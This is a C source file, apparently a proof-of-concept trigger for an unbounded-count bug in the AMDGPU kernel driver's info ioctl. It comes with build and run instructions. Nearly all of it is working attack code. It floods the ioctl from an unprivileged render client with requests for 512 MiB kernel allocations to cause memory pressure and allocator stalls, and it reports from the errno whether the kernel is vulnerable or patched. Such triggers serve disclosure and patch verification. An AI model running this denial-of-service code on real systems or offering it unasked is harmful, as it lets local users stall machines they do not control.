DF-4357 / trigger.c
/* * DF-4357 trigger: AMDGPU_INFO_READ_MMR_REG with unbounded count * (amdgpu_kms.c missing upstream `count > 128` cap) * * Floods the info ioctl with read_mmr_reg.count = 0x8000000 (128 Mi dwords * -> 512 MiB kmalloc_array) from an unprivileged render client. On a * vulnerable kernel each call makes the allocator try a large kernel * kmalloc before the register-allowlist loop bails at the first disallowed * offset -> kernel memory pressure / allocator stalls (M_WAITOK sleeps). * A patched kernel (count > 128 -> -EINVAL) rejects instantly. * * Build: cc -O2 -o trigger trigger.c (needs drm/amdgpu_drm.h UAPI) * Run: ./trigger /dev/dri/renderD128 (requires an AMD GPU) */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <errno.h> #include <drm/amdgpu_drm.h> #define COUNT 0x08000000u /* 128Mi dwords => 512MiB requested kmalloc */ int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; struct drm_amdgpu_info info; int fd, i; fd = open(node, O_RDWR | O_CLOEXEC); if (fd < 0) { fprintf(stderr, "open %s: %s (no AMD GPU / no render node)\n", node, strerror(errno)); return 2; } for (i = 0; i < 64; i++) { memset(&info, 0, sizeof(info)); info.query = AMDGPU_INFO_READ_MMR_REG; info.read_mmr_reg.count = COUNT; info.read_mmr_reg.dword_offset = 0; /* disallowed on purpose */ info.return_pointer = (uintptr_t)NULL + 0; /* unused: read bails first */ info.return_size = 4; errno = 0; if (ioctl(fd, DRM_IOCTL_AMDGPU_INFO, &info) == 0) printf("iter %d: ioctl OK (unexpected)\n", i); else if (errno == EINVAL) printf("iter %d: EINVAL (kernel has the count cap -> PATCHED)\n", i); else if (errno == ENOMEM) printf("iter %d: ENOMEM (unbounded kmalloc attempted -> VULNERABLE)\n", i); else if (errno == EFAULT) printf("iter %d: EFAULT after alloc loop bail (VULNERABLE, alloc done)\n", i); else printf("iter %d: errno=%d\n", i, errno); } close(fd); return 0; } |